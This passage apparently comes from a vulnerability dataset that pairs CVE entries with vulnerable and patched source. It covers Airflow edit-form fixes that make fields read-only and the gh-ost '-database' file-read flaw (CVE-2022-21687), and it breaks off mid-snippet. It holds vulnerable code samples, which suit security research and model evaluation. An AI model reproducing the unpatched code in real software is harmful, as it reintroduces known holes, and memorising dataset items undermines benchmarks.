"fix_func": [{"id": "fix_py_259_1", "commit": "2a0106e", "file_path": "airflow/www/forms.py", "start_line": 121, "end_line": 151, "snippet": "class DagRunEditForm(DynamicForm):\n    \"\"\"Form for editing DAG Run.\n\n    Only note field is editable, so everything else is read-only here.\n    \"\"\"\n\n    dag_id = StringField(lazy_gettext(\"Dag Id\"), validators=[ReadOnly()], widget=BS3TextFieldROWidget())\n    start_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"Start Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n    )\n    end_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"End Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n    )\n    run_id = StringField(lazy_gettext(\"Run Id\"), validators=[ReadOnly()], widget=BS3TextFieldROWidget())\n    state = StringField(lazy_gettext(\"State\"), validators=[ReadOnly()], widget=BS3TextFieldROWidget())\n    execution_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"Logical Date\"),\n        validators=[ReadOnly()],\n        widget=AirflowDateTimePickerROWidget(),\n    )\n    conf = TextAreaField(lazy_gettext(\"Conf\"), validators=[ReadOnly()], widget=BS3TextAreaROWidget())\n    note = TextAreaField(lazy_gettext(\"User Note\"), widget=BS3TextAreaFieldWidget())\n\n    def populate_obj(self, item):\n        \"\"\"Populates the attributes of the passed obj with data from the form's not-read-only fields.\"\"\"\n        for name, field in self._fields.items():\n            if not field.flags.readonly:\n                field.populate_obj(item, name)\n        item.run_type = DagRunType.from_run_id(item.run_id)\n        if item.conf:\n            item.conf = json.loads(item.conf)"}, {"id": "fix_py_259_2", "commit": "2a0106e", "file_path": "airflow/www/forms.py", "start_line": 154, "end_line": 194, "snippet": "class TaskInstanceEditForm(DynamicForm):\n    \"\"\"Form for editing TaskInstance.\n\n    Only note and state fields are editable, so everything else is read-only here.\n    \"\"\"\n\n    dag_id = StringField(\n        lazy_gettext(\"Dag Id\"), validators=[InputRequired(), ReadOnly()], widget=BS3TextFieldROWidget()\n    )\n    task_id = StringField(\n        lazy_gettext(\"Task Id\"), validators=[InputRequired(), ReadOnly()], widget=BS3TextFieldROWidget()\n    )\n    start_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"Start Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n    )\n    end_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"End Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n    )\n    state = SelectField(\n        lazy_gettext(\"State\"),\n        choices=(\n            (\"success\", \"success\"),\n            (\"running\", \"running\"),\n            (\"failed\", \"failed\"),\n            (\"up_for_retry\", \"up_for_retry\"),\n        ),\n        widget=Select2Widget(),\n        validators=[InputRequired()],\n    )\n    execution_date = DateTimeWithTimezoneField(\n        lazy_gettext(\"Logical Date\"),\n        widget=AirflowDateTimePickerROWidget(),\n        validators=[InputRequired(), ReadOnly()],\n    )\n    note = TextAreaField(lazy_gettext(\"User Note\"), widget=BS3TextAreaFieldWidget())\n\n    def populate_obj(self, item):\n        \"\"\"Populates the attributes of the passed obj with data from the form's not-read-only fields.\"\"\"\n        for name, field in self._fields.items():\n            if not field.flags.readonly:\n                field.populate_obj(item, name)"}, {"id": "fix_py_259_3", "commit": "2a0106e", "file_path": "airflow/www/validators.py", "start_line": 102, "end_line": 110, "snippet": "class ReadOnly:\n    \"\"\"Adds readonly flag to a field.\n\n    When using this you normally will need to override the form's populate_obj method,\n    so field.populate_obj is not called for read-only fields.\n    \"\"\"\n\n    def __call__(self, form, field):\n        field.flags.readonly = True"}], "vul_patch": "--- a/airflow/www/forms.py\n+++ b/airflow/www/forms.py\n@@ -1,24 +1,31 @@\n class DagRunEditForm(DynamicForm):\n     \"\"\"Form for editing DAG Run.\n \n-    We don't actually want to allow editing, so everything is read-only here.\n+    Only note field is editable, so everything else is read-only here.\n     \"\"\"\n \n-    dag_id = StringField(lazy_gettext(\"Dag Id\"), widget=BS3TextFieldROWidget())\n-    start_date = DateTimeWithTimezoneField(lazy_gettext(\"Start Date\"), widget=AirflowDateTimePickerROWidget())\n-    end_date = DateTimeWithTimezoneField(lazy_gettext(\"End Date\"), widget=AirflowDateTimePickerROWidget())\n-    run_id = StringField(lazy_gettext(\"Run Id\"), widget=BS3TextFieldROWidget())\n-    state = StringField(lazy_gettext(\"State\"), widget=BS3TextFieldROWidget())\n+    dag_id = StringField(lazy_gettext(\"Dag Id\"), validators=[ReadOnly()], widget=BS3TextFieldROWidget())\n+    start_date = DateTimeWithTimezoneField(\n+        lazy_gettext(\"Start Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n+    )\n+    end_date = DateTimeWithTimezoneField(\n+        lazy_gettext(\"End Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n+    )\n+    run_id = StringField(lazy_gettext(\"Run Id\"), validators=[ReadOnly()], widget=BS3TextFieldROWidget())\n+    state = StringField(lazy_gettext(\"State\"), validators=[ReadOnly()], widget=BS3TextFieldROWidget())\n     execution_date = DateTimeWithTimezoneField(\n         lazy_gettext(\"Logical Date\"),\n+        validators=[ReadOnly()],\n         widget=AirflowDateTimePickerROWidget(),\n     )\n-    conf = TextAreaField(lazy_gettext(\"Conf\"), widget=BS3TextAreaROWidget())\n+    conf = TextAreaField(lazy_gettext(\"Conf\"), validators=[ReadOnly()], widget=BS3TextAreaROWidget())\n     note = TextAreaField(lazy_gettext(\"User Note\"), widget=BS3TextAreaFieldWidget())\n \n     def populate_obj(self, item):\n-        \"\"\"Populates the attributes of the passed obj with data from the form's fields.\"\"\"\n-        super().populate_obj(item)\n+        \"\"\"Populates the attributes of the passed obj with data from the form's not-read-only fields.\"\"\"\n+        for name, field in self._fields.items():\n+            if not field.flags.readonly:\n+                field.populate_obj(item, name)\n         item.run_type = DagRunType.from_run_id(item.run_id)\n         if item.conf:\n             item.conf = json.loads(item.conf)\n\n--- a/airflow/www/forms.py\n+++ b/airflow/www/forms.py\n@@ -1,12 +1,21 @@\n class TaskInstanceEditForm(DynamicForm):\n-    \"\"\"Form for editing TaskInstance.\"\"\"\n+    \"\"\"Form for editing TaskInstance.\n \n-    dag_id = StringField(lazy_gettext(\"Dag Id\"), validators=[InputRequired()], widget=BS3TextFieldROWidget())\n+    Only note and state fields are editable, so everything else is read-only here.\n+    \"\"\"\n+\n+    dag_id = StringField(\n+        lazy_gettext(\"Dag Id\"), validators=[InputRequired(), ReadOnly()], widget=BS3TextFieldROWidget()\n+    )\n     task_id = StringField(\n-        lazy_gettext(\"Task Id\"), validators=[InputRequired()], widget=BS3TextFieldROWidget()\n+        lazy_gettext(\"Task Id\"), validators=[InputRequired(), ReadOnly()], widget=BS3TextFieldROWidget()\n     )\n-    start_date = DateTimeWithTimezoneField(lazy_gettext(\"Start Date\"), widget=AirflowDateTimePickerROWidget())\n-    end_date = DateTimeWithTimezoneField(lazy_gettext(\"End Date\"), widget=AirflowDateTimePickerROWidget())\n+    start_date = DateTimeWithTimezoneField(\n+        lazy_gettext(\"Start Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n+    )\n+    end_date = DateTimeWithTimezoneField(\n+        lazy_gettext(\"End Date\"), validators=[ReadOnly()], widget=AirflowDateTimePickerROWidget()\n+    )\n     state = SelectField(\n         lazy_gettext(\"State\"),\n         choices=(\n@@ -21,6 +30,12 @@\n     execution_date = DateTimeWithTimezoneField(\n         lazy_gettext(\"Logical Date\"),\n         widget=AirflowDateTimePickerROWidget(),\n-        validators=[InputRequired()],\n+        validators=[InputRequired(), ReadOnly()],\n     )\n     note = TextAreaField(lazy_gettext(\"User Note\"), widget=BS3TextAreaFieldWidget())\n+\n+    def populate_obj(self, item):\n+        \"\"\"Populates the attributes of the passed obj with data from the form's not-read-only fields.\"\"\"\n+        for name, field in self._fields.items():\n+            if not field.flags.readonly:\n+                field.populate_obj(item, name)\n\n--- /dev/null\n+++ b/airflow/www/forms.py\n@@ -0,0 +1,9 @@\n+class ReadOnly:\n+    \"\"\"Adds readonly flag to a field.\n+\n+    When using this you normally will need to override the form's populate_obj method,\n+    so field.populate_obj is not called for read-only fields.\n+    \"\"\"\n+\n+    def __call__(self, form, field):\n+        field.flags.readonly = True\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-21687", "cve_description": "gh-ost is a triggerless online schema migration solution for MySQL. Versions prior to 1.1.3 are subject to an arbitrary file read vulnerability. The attacker must have access to the target host or trick an administrator into executing a malicious gh-ost command on a host running gh-ost, plus network access from host running gh-ost to the attack's malicious MySQL server. The `-database` parameter does not properly sanitize user input which can lead to arbitrary file reads.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/github/gh-ost", "patch_url": ["https://github.com/github/gh-ost/commit/a91ab042de013cfd8fbb633763438932d9080d8f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_183_1", "commit": "1460aa1", "file_path": "go/cmd/gh-ost/main.go", "start_line": 47, "end_line": 300, "snippet": "func main() {\n\tmigrationContext := base.NewMigrationContext()\n\tflag.StringVar(&migrationContext.InspectorConnectionConfig.Key.Hostname, \"host\", \"127.0.0.1\", \"MySQL hostname (preferably a replica, not the master)\")\n\tflag.StringVar(&migrationContext.AssumeMasterHostname, \"assume-master-host\", \"\", \"(optional) explicitly tell gh-ost the identity of the master. Format: some.host.com[:port] This is useful in master-master setups where you wish to pick an explicit master, or in a tungsten-replicator where gh-ost is unable to determine the master\")\n\tflag.IntVar(&migrationContext.InspectorConnectionConfig.Key.Port, \"port\", 3306, \"MySQL port (preferably a replica, not the master)\")\n\tflag.Float64Var(&migrationContext.InspectorConnectionConfig.Timeout, \"mysql-timeout\", 0.0, \"Connect, read and write timeout for MySQL\")\n\tflag.StringVar(&migrationContext.CliUser, \"user\", \"\", \"MySQL user\")\n\tflag.StringVar(&migrationContext.CliPassword, \"password\", \"\", \"MySQL password\")\n\tflag.StringVar(&migrationContext.CliMasterUser, \"master-user\", \"\", \"MySQL user on master, if different from that on replica. Requires --assume-master-host\")\n\tflag.StringVar(&migrationContext.CliMasterPassword, \"master-password\", \"\", \"MySQL password on master, if different from that on replica. Requires --assume-master-host\")\n\tflag.StringVar(&migrationContext.ConfigFile, \"conf\", \"\", \"Config file\")\n\taskPass := flag.Bool(\"ask-pass\", false, \"prompt for MySQL password\")\n\n\tflag.BoolVar(&migrationContext.UseTLS, \"ssl\", false, \"Enable SSL encrypted connections to MySQL hosts\")\n\tflag.StringVar(&migrationContext.TLSCACertificate, \"ssl-ca\", \"\", \"CA certificate in PEM format for TLS connections to MySQL hosts. Requires --ssl\")\n\tflag.StringVar(&migrationContext.TLSCertificate, \"ssl-cert\", \"\", \"Certificate in PEM format for TLS connections to MySQL hosts. Requires --ssl\")\n\tflag.StringVar(&migrationContext.TLSKey, \"ssl-key\", \"\", \"Key in PEM format for TLS connections to MySQL hosts. Requires --ssl\")\n\tflag.BoolVar(&migrationContext.TLSAllowInsecure, \"ssl-allow-insecure\", false, \"Skips verification of MySQL hosts' certificate chain and host name. Requires --ssl\")\n\n\tflag.StringVar(&migrationContext.DatabaseName, \"database\", \"\", \"database name (mandatory)\")\n\tflag.StringVar(&migrationContext.OriginalTableName, \"table\", \"\", \"table name (mandatory)\")\n\tflag.StringVar(&migrationContext.AlterStatement, \"alter\", \"\", \"alter statement (mandatory)\")\n\tflag.BoolVar(&migrationContext.CountTableRows, \"exact-rowcount\", false, \"actually count table rows as opposed to estimate them (results in more accurate progress estimation)\")\n\tflag.BoolVar(&migrationContext.ConcurrentCountTableRows, \"concurrent-rowcount\", true, \"(with --exact-rowcount), when true (default): count rows after row-copy begins, concurrently, and adjust row estimate later on; when false: first count rows, then start row copy\")\n\tflag.BoolVar(&migrationContext.AllowedRunningOnMaster, \"allow-on-master\", false, \"allow this migration to run directly on master. Preferably it would run on a replica\")\n\tflag.BoolVar(&migrationContext.AllowedMasterMaster, \"allow-master-master\", false, \"explicitly allow running in a master-master setup\")\n\tflag.BoolVar(&migrationContext.NullableUniqueKeyAllowed, \"allow-nullable-unique-key\", false, \"allow gh-ost to migrate based on a unique key with nullable columns. As long as no NULL values exist, this should be OK. If NULL values exist in chosen key, data may be corrupted. Use at your own risk!\")\n\tflag.BoolVar(&migrationContext.ApproveRenamedColumns, \"approve-renamed-columns\", false, \"in case your `ALTER` statement renames columns, gh-ost will note that and offer its interpretation of the rename. By default gh-ost does not proceed to execute. This flag approves that gh-ost's interpretation is correct\")\n\tflag.BoolVar(&migrationContext.SkipRenamedColumns, \"skip-renamed-columns\", false, \"in case your `ALTER` statement renames columns, gh-ost will note that and offer its interpretation of the rename. By default gh-ost does not proceed to execute. This flag tells gh-ost to skip the renamed columns, i.e. to treat what gh-ost thinks are renamed columns as unrelated columns. NOTE: you may lose column data\")\n\tflag.BoolVar(&migrationContext.IsTungsten, \"tungsten\", false, \"explicitly let gh-ost know that you are running on a tungsten-replication based topology (you are likely to also provide --assume-master-host)\")\n\tflag.BoolVar(&migrationContext.DiscardForeignKeys, \"discard-foreign-keys\", false, \"DANGER! This flag will migrate a table that has foreign keys and will NOT create foreign keys on the ghost table, thus your altered table will have NO foreign keys. This is useful for intentional dropping of foreign keys\")\n\tflag.BoolVar(&migrationContext.SkipForeignKeyChecks, \"skip-foreign-key-checks\", false, \"set to 'true' when you know for certain there are no foreign keys on your table, and wish to skip the time it takes for gh-ost to verify that\")\n\tflag.BoolVar(&migrationContext.SkipStrictMode, \"skip-strict-mode\", false, \"explicitly tell gh-ost binlog applier not to enforce strict sql mode\")\n\tflag.BoolVar(&migrationContext.AliyunRDS, \"aliyun-rds\", false, \"set to 'true' when you execute on Aliyun RDS.\")\n\tflag.BoolVar(&migrationContext.GoogleCloudPlatform, \"gcp\", false, \"set to 'true' when you execute on a 1st generation Google Cloud Platform (GCP).\")\n\tflag.BoolVar(&migrationContext.AzureMySQL, \"azure\", false, \"set to 'true' when you execute on Azure Database on MySQL.\")\n\n\texecuteFlag := flag.Bool(\"execute\", false, \"actually execute the alter & migrate the table. Default is noop: do some tests and exit\")\n\tflag.BoolVar(&migrationContext.TestOnReplica, \"test-on-replica\", false, \"Have the migration run on a replica, not on the master. At the end of migration replication is stopped, and tables are swapped and immediately swap-revert. Replication remains stopped and you can compare the two tables for building trust\")\n\tflag.BoolVar(&migrationContext.TestOnReplicaSkipReplicaStop, \"test-on-replica-skip-replica-stop\", false, \"When --test-on-replica is enabled, do not issue commands stop replication (requires --test-on-replica)\")\n\tflag.BoolVar(&migrationContext.MigrateOnReplica, \"migrate-on-replica\", false, \"Have the migration run on a replica, not on the master. This will do the full migration on the replica including cut-over (as opposed to --test-on-replica)\")\n\n\tflag.BoolVar(&migrationContext.OkToDropTable, \"ok-to-drop-table\", false, \"Shall the tool drop the old table at end of operation. DROPping tables can be a long locking operation, which is why I'm not doing it by default. I'm an online tool, yes?\")\n\tflag.BoolVar(&migrationContext.InitiallyDropOldTable, \"initially-drop-old-table\", false, \"Drop a possibly existing OLD table (remains from a previous run?) before beginning operation. Default is to panic and abort if such table exists\")\n\tflag.BoolVar(&migrationContext.InitiallyDropGhostTable, \"initially-drop-ghost-table\", false, \"Drop a possibly existing Ghost table (remains from a previous run?) before beginning operation. Default is to panic and abort if such table exists\")\n\tflag.BoolVar(&migrationContext.TimestampOldTable, \"timestamp-old-table\", false, \"Use a timestamp in old table name. This makes old table names unique and non conflicting cross migrations\")\n\tcutOver := flag.String(\"cut-over\", \"atomic\", \"choose cut-over type (default|atomic, two-step)\")\n\tflag.BoolVar(&migrationContext.ForceNamedCutOverCommand, \"force-named-cut-over\", false, \"When true, the 'unpostpone|cut-over' interactive command must name the migrated table\")\n\tflag.BoolVar(&migrationContext.ForceNamedPanicCommand, \"force-named-panic\", false, \"When true, the 'panic' interactive command must name the migrated table\")\n\n\tflag.BoolVar(&migrationContext.SwitchToRowBinlogFormat, \"switch-to-rbr\", false, \"let this tool automatically switch binary log format to 'ROW' on the replica, if needed. The format will NOT be switched back. I'm too scared to do that, and wish to protect you if you happen to execute another migration while this one is running\")\n\tflag.BoolVar(&migrationContext.AssumeRBR, \"assume-rbr\", false, \"set to 'true' when you know for certain your server uses 'ROW' binlog_format. gh-ost is unable to tell, event after reading binlog_format, whether the replication process does indeed use 'ROW', and restarts replication to be certain RBR setting is applied. Such operation requires SUPER privileges which you might not have. Setting this flag avoids restarting replication and you can proceed to use gh-ost without SUPER privileges\")\n\tflag.BoolVar(&migrationContext.CutOverExponentialBackoff, \"cut-over-exponential-backoff\", false, \"Wait exponentially longer intervals between failed cut-over attempts. Wait intervals obey a maximum configurable with 'exponential-backoff-max-interval').\")\n\texponentialBackoffMaxInterval := flag.Int64(\"exponential-backoff-max-interval\", 64, \"Maximum number of seconds to wait between attempts when performing various operations with exponential backoff.\")\n\tchunkSize := flag.Int64(\"chunk-size\", 1000, \"amount of rows to handle in each iteration (allowed range: 100-100,000)\")\n\tdmlBatchSize := flag.Int64(\"dml-batch-size\", 10, \"batch size for DML events to apply in a single transaction (range 1-100)\")\n\tdefaultRetries := flag.Int64(\"default-retries\", 60, \"Default number of retries for various operations before panicking\")\n\tcutOverLockTimeoutSeconds := flag.Int64(\"cut-over-lock-timeout-seconds\", 3, \"Max number of seconds to hold locks on tables while attempting to cut-over (retry attempted when lock exceeds timeout)\")\n\tniceRatio := flag.Float64(\"nice-ratio\", 0, \"force being 'nice', imply sleep time per chunk time; range: [0.0..100.0]. Example values: 0 is aggressive. 1: for every 1ms spent copying rows, sleep additional 1ms (effectively doubling runtime); 0.7: for every 10ms spend in a rowcopy chunk, spend 7ms sleeping immediately after\")\n\n\tmaxLagMillis := flag.Int64(\"max-lag-millis\", 1500, \"replication lag at which to throttle operation\")\n\treplicationLagQuery := flag.String(\"replication-lag-query\", \"\", \"Deprecated. gh-ost uses an internal, subsecond resolution query\")\n\tthrottleControlReplicas := flag.String(\"throttle-control-replicas\", \"\", \"List of replicas on which to check for lag; comma delimited. Example: myhost1.com:3306,myhost2.com,myhost3.com:3307\")\n\tthrottleQuery := flag.String(\"throttle-query\", \"\", \"when given, issued (every second) to check if operation should throttle. Expecting to return zero for no-throttle, >0 for throttle. Query is issued on the migrated server. Make sure this query is lightweight\")\n\tthrottleHTTP := flag.String(\"throttle-http\", \"\", \"when given, gh-ost checks given URL via HEAD request; any response code other than 200 (OK) causes throttling; make sure it has low latency response\")\n\tignoreHTTPErrors := flag.Bool(\"ignore-http-errors\", false, \"ignore HTTP connection errors during throttle check\")\n\theartbeatIntervalMillis := flag.Int64(\"heartbeat-interval-millis\", 100, \"how frequently would gh-ost inject a heartbeat value\")\n\tflag.StringVar(&migrationContext.ThrottleFlagFile, \"throttle-flag-file\", \"\", \"operation pauses when this file exists; hint: use a file that is specific to the table being altered\")\n\tflag.StringVar(&migrationContext.ThrottleAdditionalFlagFile, \"throttle-additional-flag-file\", \"/tmp/gh-ost.throttle\", \"operation pauses when this file exists; hint: keep default, use for throttling multiple gh-ost operations\")\n\tflag.StringVar(&migrationContext.PostponeCutOverFlagFile, \"postpone-cut-over-flag-file\", \"\", \"while this file exists, migration will postpone the final stage of swapping tables, and will keep on syncing the ghost table. Cut-over/swapping would be ready to perform the moment the file is deleted.\")\n\tflag.StringVar(&migrationContext.PanicFlagFile, \"panic-flag-file\", \"\", \"when this file is created, gh-ost will immediately terminate, without cleanup\")\n\n\tflag.BoolVar(&migrationContext.DropServeSocket, \"initially-drop-socket-file\", false, \"Should gh-ost forcibly delete an existing socket file. Be careful: this might drop the socket file of a running migration!\")\n\tflag.StringVar(&migrationContext.ServeSocketFile, \"serve-socket-file\", \"\", \"Unix socket file to serve on. Default: auto-determined and advertised upon startup\")\n\tflag.Int64Var(&migrationContext.ServeTCPPort, \"serve-tcp-port\", 0, \"TCP port to serve on. Default: disabled\")\n\n\tflag.StringVar(&migrationContext.HooksPath, \"hooks-path\", \"\", \"directory where hook files are found (default: empty, ie. hooks disabled). Hook files found on this path, and conforming to hook naming conventions will be executed\")\n\tflag.StringVar(&migrationContext.HooksHintMessage, \"hooks-hint\", \"\", \"arbitrary message to be injected to hooks via GH_OST_HOOKS_HINT, for your convenience\")\n\tflag.StringVar(&migrationContext.HooksHintOwner, \"hooks-hint-owner\", \"\", \"arbitrary name of owner to be injected to hooks via GH_OST_HOOKS_HINT_OWNER, for your convenience\")\n\tflag.StringVar(&migrationContext.HooksHintToken, \"hooks-hint-token\", \"\", \"arbitrary token to be injected to hooks via GH_OST_HOOKS_HINT_TOKEN, for your convenience\")\n\n\tflag.UintVar(&migrationContext.ReplicaServerId, \"replica-server-id\", 99999, \"server id used by gh-ost process. Default: 99999\")\n\n\tmaxLoad := flag.String(\"max-load\", \"\", \"Comma delimited status-name=threshold. e.g: 'Threads_running=100,Threads_connected=500'. When status exceeds threshold, app throttles writes\")\n\tcriticalLoad := flag.String(\"critical-load\", \"\", \"Comma delimited status-name=threshold, same format as --max-load. When status exceeds threshold, app panics and quits\")\n\tflag.Int64Var(&migrationContext.CriticalLoadIntervalMilliseconds, \"critical-load-interval-millis\", 0, \"When 0, migration immediately bails out upon meeting critical-load. When non-zero, a second check is done after given interval, and migration only bails out if 2nd check still meets critical load\")\n\tflag.Int64Var(&migrationContext.CriticalLoadHibernateSeconds, \"critical-load-hibernate-seconds\", 0, \"When non-zero, critical-load does not panic and bail out; instead, gh-ost goes into hibernation for the specified duration. It will not read/write anything from/to any server\")\n\tquiet := flag.Bool(\"quiet\", false, \"quiet\")\n\tverbose := flag.Bool(\"verbose\", false, \"verbose\")\n\tdebug := flag.Bool(\"debug\", false, \"debug mode (very verbose)\")\n\tstack := flag.Bool(\"stack\", false, \"add stack trace upon error\")\n\thelp := flag.Bool(\"help\", false, \"Display usage\")\n\tversion := flag.Bool(\"version\", false, \"Print version & exit\")\n\tcheckFlag := flag.Bool(\"check-flag\", false, \"Check if another flag exists/supported. This allows for cross-version scripting. Exits with 0 when all additional provided flags exist, nonzero otherwise. You must provide (dummy) values for flags that require a value. Example: gh-ost --check-flag --cut-over-lock-timeout-seconds --nice-ratio 0\")\n\tflag.StringVar(&migrationContext.ForceTmpTableName, \"force-table-names\", \"\", \"table name prefix to be used on the temporary tables\")\n\tflag.CommandLine.SetOutput(os.Stdout)\n\n\tflag.Parse()\n\n\tif *checkFlag {\n\t\treturn\n\t}\n\tif *help {\n\t\tfmt.Fprintf(os.Stdout, \"Usage of gh-ost:\\n\")\n\t\tflag.PrintDefaults()\n\t\treturn\n\t}\n\tif *version {\n\t\tappVersion := AppVersion\n\t\tif appVersion == \"\" {\n\t\t\tappVersion = \"unversioned\"\n\t\t}\n\t\tfmt.Println(appVersion)\n\t\treturn\n\t}\n\n\tmigrationContext.Log.SetLevel(log.ERROR)\n\tif *verbose {\n\t\tmigrationContext.Log.SetLevel(log.INFO)\n\t}\n\tif *debug {\n\t\tmigrationContext.Log.SetLevel(log.DEBUG)\n\t}\n\tif *stack {\n\t\tmigrationContext.Log.SetPrintStackTrace(*stack)\n\t}\n\tif *quiet {\n\t\t// Override!!\n\t\tmigrationContext.Log.SetLevel(log.ERROR)\n\t}\n\n\tif migrationContext.AlterStatement == \"\" {\n\t\tlog.Fatalf(\"--alter must be provided and statement must not be empty\")\n\t}\n\tparser := sql.NewParserFromAlterStatement(migrationContext.AlterStatement)\n\tmigrationContext.AlterStatementOptions = parser.GetAlterStatementOptions()\n\n\tif migrationContext.DatabaseName == \"\" {\n\t\tif parser.HasExplicitSchema() {\n\t\t\tmigrationContext.DatabaseName = parser.GetExplicitSchema()\n\t\t} else {\n\t\t\tlog.Fatalf(\"--database must be provided and database name must not be empty, or --alter must specify database name\")\n\t\t}\n\t}\n\tif migrationContext.OriginalTableName == \"\" {\n\t\tif parser.HasExplicitTable() {\n\t\t\tmigrationContext.OriginalTableName = parser.GetExplicitTable()\n\t\t} else {\n\t\t\tlog.Fatalf(\"--table must be provided and table name must not be empty, or --alter must specify table name\")\n\t\t}\n\t}\n\tmigrationContext.Noop = !(*executeFlag)\n\tif migrationContext.AllowedRunningOnMaster && migrationContext.TestOnReplica {\n\t\tmigrationContext.Log.Fatalf(\"--allow-on-master and --test-on-replica are mutually exclusive\")\n\t}\n\tif migrationContext.AllowedRunningOnMaster && migrationContext.MigrateOnReplica {\n\t\tmigrationContext.Log.Fatalf(\"--allow-on-master and --migrate-on-replica are mutually exclusive\")\n\t}\n\tif migrationContext.MigrateOnReplica && migrationContext.TestOnReplica {\n\t\tmigrationContext.Log.Fatalf(\"--migrate-on-replica and --test-on-replica are mutually exclusive\")\n\t}\n\tif migrationContext.SwitchToRowBinlogFormat && migrationContext.AssumeRBR {\n\t\tmigrationContext.Log.Fatalf(\"--switch-to-rbr and --assume-rbr are mutually exclusive\")\n\t}\n\tif migrationContext.TestOnReplicaSkipReplicaStop {\n\t\tif !migrationContext.TestOnReplica {\n\t\t\tmigrationContext.Log.Fatalf(\"--test-on-replica-skip-replica-stop requires --test-on-replica to be enabled\")\n\t\t}\n\t\tmigrationContext.Log.Warning(\"--test-on-replica-skip-replica-stop enabled. We will not stop replication before cut-over. Ensure you have a plugin that does this.\")\n\t}\n\tif migrationContext.CliMasterUser != \"\" && migrationContext.AssumeMasterHostname == \"\" {\n\t\tmigrationContext.Log.Fatalf(\"--master-user requires --assume-master-host\")\n\t}\n\tif migrationContext.CliMasterPassword != \"\" && migrationContext.AssumeMasterHostname == \"\" {\n\t\tmigrationContext.Log.Fatalf(\"--master-password requires --assume-master-host\")\n\t}\n\tif migrationContext.TLSCACertificate != \"\" && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-ca requires --ssl\")\n\t}\n\tif migrationContext.TLSCertificate != \"\" && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-cert requires --ssl\")\n\t}\n\tif migrationContext.TLSKey != \"\" && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-key requires --ssl\")\n\t}\n\tif migrationContext.TLSAllowInsecure && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-allow-insecure requires --ssl\")\n\t}\n\tif *replicationLagQuery != \"\" {\n\t\tmigrationContext.Log.Warningf(\"--replication-lag-query is deprecated\")\n\t}\n\n\tswitch *cutOver {\n\tcase \"atomic\", \"default\", \"\":\n\t\tmigrationContext.CutOverType = base.CutOverAtomic\n\tcase \"two-step\":\n\t\tmigrationContext.CutOverType = base.CutOverTwoStep\n\tdefault:\n\t\tmigrationContext.Log.Fatalf(\"Unknown cut-over: %s\", *cutOver)\n\t}\n\tif err := migrationContext.ReadConfigFile(); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.ReadThrottleControlReplicaKeys(*throttleControlReplicas); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.ReadMaxLoad(*maxLoad); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.ReadCriticalLoad(*criticalLoad); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif migrationContext.ServeSocketFile == \"\" {\n\t\tmigrationContext.ServeSocketFile = fmt.Sprintf(\"/tmp/gh-ost.%s.%s.sock\", migrationContext.DatabaseName, migrationContext.OriginalTableName)\n\t}\n\tif *askPass {\n\t\tfmt.Println(\"Password:\")\n\t\tbytePassword, err := terminal.ReadPassword(int(syscall.Stdin))\n\t\tif err != nil {\n\t\t\tmigrationContext.Log.Fatale(err)\n\t\t}\n\t\tmigrationContext.CliPassword = string(bytePassword)\n\t}\n\tmigrationContext.SetHeartbeatIntervalMilliseconds(*heartbeatIntervalMillis)\n\tmigrationContext.SetNiceRatio(*niceRatio)\n\tmigrationContext.SetChunkSize(*chunkSize)\n\tmigrationContext.SetDMLBatchSize(*dmlBatchSize)\n\tmigrationContext.SetMaxLagMillisecondsThrottleThreshold(*maxLagMillis)\n\tmigrationContext.SetThrottleQuery(*throttleQuery)\n\tmigrationContext.SetThrottleHTTP(*throttleHTTP)\n\tmigrationContext.SetIgnoreHTTPErrors(*ignoreHTTPErrors)\n\tmigrationContext.SetDefaultNumRetries(*defaultRetries)\n\tmigrationContext.ApplyCredentials()\n\tif err := migrationContext.SetupTLS(); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.SetCutOverLockTimeoutSeconds(*cutOverLockTimeoutSeconds); err != nil {\n\t\tmigrationContext.Log.Errore(err)\n\t}\n\tif err := migrationContext.SetExponentialBackoffMaxInterval(*exponentialBackoffMaxInterval); err != nil {\n\t\tmigrationContext.Log.Errore(err)\n\t}\n\n\tlog.Infof(\"starting gh-ost %+v\", AppVersion)\n\tacceptSignals(migrationContext)\n\n\tmigrator := logic.NewMigrator(migrationContext)\n\terr := migrator.Migrate()\n\tif err != nil {\n\t\tmigrator.ExecOnFailureHook()\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tfmt.Fprintf(os.Stdout, \"# Done\\n\")\n}"}], "fix_func": [{"id": "fix_go_183_1", "commit": "a91ab04", "file_path": "go/cmd/gh-ost/main.go", "start_line": 48, "end_line": 306, "snippet": "func main() {\n\tmigrationContext := base.NewMigrationContext()\n\tflag.StringVar(&migrationContext.InspectorConnectionConfig.Key.Hostname, \"host\", \"127.0.0.1\", \"MySQL hostname (preferably a replica, not the master)\")\n\tflag.StringVar(&migrationContext.AssumeMasterHostname, \"assume-master-host\", \"\", \"(optional) explicitly tell gh-ost the identity of the master. Format: some.host.com[:port] This is useful in master-master setups where you wish to pick an explicit master, or in a 